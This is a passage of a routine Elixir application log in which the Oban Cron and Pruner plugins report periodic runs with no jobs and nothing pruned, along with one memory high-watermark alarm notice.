[info] {"source":"oban","duration":69,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:11:14.784 [info] {"source":"oban","duration":647,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:11:44.785 [info] {"source":"oban","duration":636,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:12:00.591 [info] {"source":"oban","duration":176,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:12:14.786 [info] {"source":"oban","duration":625,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:12:44.787 [info] {"source":"oban","duration":686,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:13:00.592 [info] {"source":"oban","duration":192,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:13:14.788 [info] {"source":"oban","duration":606,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:13:44.789 [info] {"source":"oban","duration":614,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:14:00.593 [info] {"source":"oban","duration":187,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:14:14.790 [info] {"source":"oban","duration":584,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:14:44.791 [info] {"source":"oban","duration":601,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:15:00.594 [info] {"source":"oban","duration":248,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:15:14.792 [info] {"source":"oban","duration":652,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:15:44.793 [info] {"source":"oban","duration":650,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:16:00.595 [info] {"source":"oban","duration":170,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:16:14.794 [info] {"source":"oban","duration":740,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:16:44.795 [info] {"source":"oban","duration":675,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:17:00.596 [info] {"source":"oban","duration":187,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:17:14.796 [info] {"source":"oban","duration":655,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:17:44.797 [info] {"source":"oban","duration":753,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:18:00.597 [info] {"source":"oban","duration":241,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:18:14.798 [info] {"source":"oban","duration":672,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:18:44.799 [info] {"source":"oban","duration":706,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:19:00.598 [info] {"source":"oban","duration":214,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:19:14.800 [info] {"source":"oban","duration":645,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:19:44.801 [info] {"source":"oban","duration":630,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:20:00.599 [info] {"source":"oban","duration":173,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:20:14.802 [info] {"source":"oban","duration":775,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:20:44.804 [info] {"source":"oban","duration":612,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:21:00.600 [info] {"source":"oban","duration":241,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:21:14.805 [info] {"source":"oban","duration":697,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:21:44.806 [info] {"source":"oban","duration":638,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:22:00.601 [info] {"source":"oban","duration":268,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:22:14.807 [info] {"source":"oban","duration":603,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:22:44.808 [info] {"source":"oban","duration":612,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:23:00.602 [info] {"source":"oban","duration":185,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:23:14.809 [info] {"source":"oban","duration":639,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:23:44.810 [info] {"source":"oban","duration":665,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:24:00.603 [info] {"source":"oban","duration":166,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:24:14.811 [info] {"source":"oban","duration":677,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:24:44.812 [info] {"source":"oban","duration":649,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:25:00.604 [info] {"source":"oban","duration":235,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:25:14.813 [info] {"source":"oban","duration":591,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:25:44.814 [info] {"source":"oban","duration":661,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:26:00.605 [info] {"source":"oban","duration":184,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:26:14.815 [info] {"source":"oban","duration":759,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:26:44.816 [info] {"source":"oban","duration":619,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:27:00.606 [info] {"source":"oban","duration":222,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:27:14.817 [info] {"source":"oban","duration":696,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:27:44.818 [info] {"source":"oban","duration":716,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:28:00.607 [info] {"source":"oban","duration":254,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:28:14.819 [info] {"source":"oban","duration":667,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:28:44.820 [info] {"source":"oban","duration":675,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:29:00.608 [info] {"source":"oban","duration":238,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:29:14.821 [info] {"source":"oban","duration":623,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:29:44.822 [info] {"source":"oban","duration":660,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:30:00.609 [info] {"source":"oban","duration":176,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:30:14.823 [info] {"source":"oban","duration":637,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:30:44.824 [info] {"source":"oban","duration":670,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:31:00.610 [info] {"source":"oban","duration":187,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:31:14.825 [info] {"source":"oban","duration":726,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:31:44.826 [info] {"source":"oban","duration":629,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:32:00.611 [info] {"source":"oban","duration":235,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:32:14.827 [info] {"source":"oban","duration":757,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:32:44.829 [info] {"source":"oban","duration":611,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:33:00.612 [info] {"source":"oban","duration":283,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:33:14.830 [info] {"source":"oban","duration":746,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:33:44.831 [info] {"source":"oban","duration":704,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:34:00.613 [info] {"source":"oban","duration":202,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:34:14.832 [info] {"source":"oban","duration":684,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:34:44.833 [info] {"source":"oban","duration":672,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:35:00.614 [info] {"source":"oban","duration":231,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:35:14.834 [info] {"source":"oban","duration":622,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:35:44.835 [info] {"source":"oban","duration":709,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:36:00.615 [info] {"source":"oban","duration":228,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:36:14.836 [info] {"source":"oban","duration":806,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:36:44.838 [info] {"source":"oban","duration":633,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:37:00.616 [info] {"source":"oban","duration":224,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:37:14.839 [info] {"source":"oban","duration":666,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:37:44.840 [info] {"source":"oban","duration":709,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:38:00.617 [info] {"source":"oban","duration":227,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:38:14.841 [info] {"source":"oban","duration":671,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:38:44.842 [info] {"source":"oban","duration":716,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:39:00.618 [info] {"source":"oban","duration":216,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:39:14.843 [info] {"source":"oban","duration":729,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:39:44.844 [info] {"source":"oban","duration":673,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:40:00.619 [info] {"source":"oban","duration":250,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:40:14.845 [info] {"source":"oban","duration":662,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:40:44.846 [info] {"source":"oban","duration":687,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:41:00.620 [info] {"source":"oban","duration":235,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:41:14.847 [info] {"source":"oban","duration":763,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:41:44.848 [info] {"source":"oban","duration":667,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:42:00.621 [info] {"source":"oban","duration":245,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:42:14.849 [info] {"source":"oban","duration":678,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:42:44.850 [info] {"source":"oban","duration":669,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:43:00.622 [info] {"source":"oban","duration":228,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:43:14.851 [info] {"source":"oban","duration":757,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:43:44.852 [info] {"source":"oban","duration":625,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:44:00.623 [info] {"source":"oban","duration":231,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:44:14.853 [info] {"source":"oban","duration":695,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:44:44.854 [info] {"source":"oban","duration":629,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:45:00.624 [info] {"source":"oban","duration":231,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:45:14.855 [info] {"source":"oban","duration":618,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:45:44.856 [info] {"source":"oban","duration":669,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:46:00.625 [info] {"source":"oban","duration":225,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:46:14.857 [info] {"source":"oban","duration":643,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:46:44.858 [info] {"source":"oban","duration":683,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:47:00.626 [info] {"source":"oban","duration":170,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:47:14.859 [info] {"source":"oban","duration":667,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:47:44.860 [info] {"source":"oban","duration":717,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:48:00.627 [info] {"source":"oban","duration":250,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:48:14.861 [info] {"source":"oban","duration":612,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:48:44.862 [info] {"source":"oban","duration":660,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:49:00.628 [info] {"source":"oban","duration":187,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:49:14.863 [info] {"source":"oban","duration":665,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:49:44.864 [info] {"source":"oban","duration":742,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:50:00.629 [info] {"source":"oban","duration":225,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:50:14.865 [info] {"source":"oban","duration":739,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:50:44.866 [info] {"source":"oban","duration":684,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:51:00.630 [info] {"source":"oban","duration":228,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:51:14.867 [info] {"source":"oban","duration":674,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:51:44.868 [info] {"source":"oban","duration":604,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:52:00.631 [info] {"source":"oban","duration":184,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:52:14.869 [info] {"source":"oban","duration":630,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:52:44.870 [info] {"source":"oban","duration":596,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:53:00.632 [info] {"source":"oban","duration":159,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:53:14.871 [info] {"source":"oban","duration":674,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:53:44.872 [info] {"source":"oban","duration":662,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:54:00.633 [info] {"source":"oban","duration":241,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:54:14.873 [info] {"source":"oban","duration":682,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:54:44.874 [info] {"source":"oban","duration":676,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:55:00.634 [info] {"source":"oban","duration":235,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:55:14.875 [info] {"source":"oban","duration":591,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:55:44.876 [info] {"source":"oban","duration":620,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:56:00.635 [info] {"source":"oban","duration":254,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:56:14.877 [info] {"source":"oban","duration":747,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:56:44.878 [info] {"source":"oban","duration":737,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:57:00.636 [info] {"source":"oban","duration":222,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:57:14.879 [info] {"source":"oban","duration":671,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:57:44.880 [info] {"source":"oban","duration":693,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:58:00.637 [info] {"source":"oban","duration":224,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:58:14.881 [info] {"source":"oban","duration":628,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:58:44.882 [info] {"source":"oban","duration":637,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:59:00.638 [info] {"source":"oban","duration":166,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:59:14.883 [info] {"source":"oban","duration":632,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:59:44.884 [info] {"source":"oban","duration":599,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:00:00.639 [info] {"source":"oban","duration":167,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:00:14.885 [info] {"source":"oban","duration":601,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:00:44.886 [info] {"source":"oban","duration":685,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:01:00.640 [info] {"source":"oban","duration":229,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:01:14.887 [info] {"source":"oban","duration":667,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:01:44.888 [info] {"source":"oban","duration":643,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:02:00.641 [info] {"source":"oban","duration":224,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:02:14.889 [info] {"source":"oban","duration":722,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:02:44.890 [info] {"source":"oban","duration":630,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:03:00.642 [info] {"source":"oban","duration":176,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:03:14.891 [info] {"source":"oban","duration":682,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:03:44.892 [info] {"source":"oban","duration":721,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:04:00.643 [info] {"source":"oban","duration":234,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:04:14.893 [info] {"source":"oban","duration":643,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:04:44.894 [info] {"source":"oban","duration":594,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:05:00.644 [info] {"source":"oban","duration":237,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:05:14.895 [info] {"source":"oban","duration":657,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:05:44.896 [info] {"source":"oban","duration":555,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:06:00.645 [info] {"source":"oban","duration":191,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:06:14.897 [info] {"source":"oban","duration":630,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:06:44.898 [info] {"source":"oban","duration":702,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:07:00.646 [info] {"source":"oban","duration":235,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:07:14.899 [info] {"source":"oban","duration":660,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:07:44.900 [info] {"source":"oban","duration":685,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:08:00.647 [info] {"source":"oban","duration":263,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:08:14.901 [info] {"source":"oban","duration":657,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:08:44.902 [info] {"source":"oban","duration":766,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:09:00.648 [info] {"source":"oban","duration":263,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:09:14.903 [info] {"source":"oban","duration":673,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:09:44.904 [info] {"source":"oban","duration":615,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:10:00.649 [info] {"source":"oban","duration":230,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:10:14.905 [info] {"source":"oban","duration":719,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:10:44.906 [info] {"source":"oban","duration":618,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:11:00.650 [info] {"source":"oban","duration":229,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:11:14.907 [info] {"source":"oban","duration":621,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:11:44.908 [info] {"source":"oban","duration":646,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:12:00.651 [info] {"source":"oban","duration":166,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:12:14.909 [info] {"source":"oban","duration":681,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:12:44.910 [info] {"source":"oban","duration":609,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:13:00.652 [info] {"source":"oban","duration":230,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:13:14.911 [info] {"source":"oban","duration":634,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:13:44.912 [info] {"source":"oban","duration":680,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:14:00.653 [info] {"source":"oban","duration":185,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:14:14.913 [info] {"source":"oban","duration":676,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:14:44.914 [info] {"source":"oban","duration":704,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:15:00.654 [info] {"source":"oban","duration":182,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:15:14.915 [info] {"source":"oban","duration":683,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:15:43.497 [notice] :alarm_handler: {:set, {:system_memory_high_watermark, []}} 02:15:44.916 [info] {"source":"oban","duration":684,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:16:00.655 [info] {"source":"oban","duration":210,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:16:14.917 [info] {"source":"oban","duration":626,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:16:44.918 [info] {"source":"oban","duration":597,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:17:00.656 [info] {"source":"oban","duration":160,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:17:14.919 [info] {"source":"oban","duration":782,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:17:44.920 [info] {"source":"oban","duration":669,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:18:00.657 [info] {"source":"oban","duration":189,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:18:14.921 [info] {"source":"oban","duration":656,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:18:44.922 [info] {"source":"oban","duration":798,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:19:00.658 [info] {"source":"oban","duration":222,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:19:14.923 [info] {"source":"oban","duration":649,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:19:44.924 [info] {"source":"oban","duration":714,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:20:00.659 [info] {"source":"oban","duration":237,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:20:14.926 [info] {"source":"oban","duration":687,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:20:44.927 [info] {"source":"oban","duration":656,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:21:00.660 [info] {"source":"oban","duration":200,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:21:14.928 [info] {"source":"oban","duration":749,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:21:44.929 [info] {"source":"oban","duration":731,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:22:00.661 [info] {"source":"oban","duration":185,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:22:14.930 [info] {"source":"oban","duration":609,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:22:44.931 [info] {"source":"oban","duration":1096,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:23:00.662 [info] {"source":"oban","duration":181,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:23:14.933 [info] {"source":"oban","duration":768,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:23:44.934 [info] {"source":"oban","duration":666,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:24:00.663 [info] {"source":"oban","duration":206,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:24:14.935 [info] {"source":"oban","duration":628,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:24:44.936 [info] {"source":"oban","duration":647,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:25:00.664 [info] {"source":"oban","duration":236,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:25:14.937 [info] {"source":"oban","duration":641,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:25:44.938 [info] {"source":"oban","duration":706,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:26:00.665 [info] {"source":"oban","duration":223,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:26:14.939 [info] {"source":"oban","duration":660,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:26:44.940 [info] {"source":"oban","duration":689,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:27:00.666 [info] {"source":"oban","duration":168,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:27:14.941 [info] {"source":"oban","duration":639,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:27:44.942 [info] {"source":"oban","duration":604,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:28:00.667 [info] {"source":"oban","duration":209,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:28:14.943 [info] {"source":"oban","duration":644,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:28:44.944 [info] {"source":"oban","duration":682,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:29:00.668 [info] {"source":"oban","duration":189,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:29:14.945 [info] {"source":"oban","duration":735,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:29:44.946 [info] {"source":"oban","duration":606,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:30:00.669 [info] {"source":"oban","duration":182,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:30:14.947 [info] 